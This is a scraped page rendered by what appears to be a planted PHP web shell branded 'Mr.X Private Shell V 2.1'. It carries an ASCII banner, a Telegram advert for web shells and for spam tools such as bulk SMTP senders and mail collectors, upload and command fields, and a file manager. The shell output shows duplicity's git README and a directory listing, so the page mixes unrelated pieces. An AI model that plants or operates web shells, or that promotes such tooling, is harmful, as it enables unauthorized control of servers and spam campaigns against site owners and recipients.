__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# REPO README - Notes for people checking out of GitLab (git)

## Getting duplicity to run:

By the numbers:

1.  Do the checkout to a location called $DUP_ROOT:
```shell
    $ git clone [email protected]:duplicity/duplicity.git $DUP_ROOT 
    --or--
    $ git clone https://gitlab.com/duplicity/duplicity.git $DUP_ROOT
```
2. Build the extension module
```shell
    $ cd $DUP_ROOT
    $ ./setup.py build_ext
```
3. Run
```shell
    $ PYTHONPATH=$DUP_ROOT duplicity/__main__.py -V
````
You should see something like "duplicity 2.2.0 January 05, 2024".

Use PYTHONPATH to set the path each time that you use the binaries.

Filemanager

Name Type Size Permission Actions
examples Folder 0755
NEWS.Debian.gz File 520 B 0644
README-LOG.md File 1.25 KB 0644
README-REPO.md File 618 B 0644
README-SNAP.md File 3.17 KB 0644
README-TESTING.md File 2.12 KB 0644
README.md File 3.39 KB 0644
changelog.Debian.gz File 1.57 KB 0644
copyright File 3.58 KB 0644
requirements.txt File 489 B 0644
Filemanager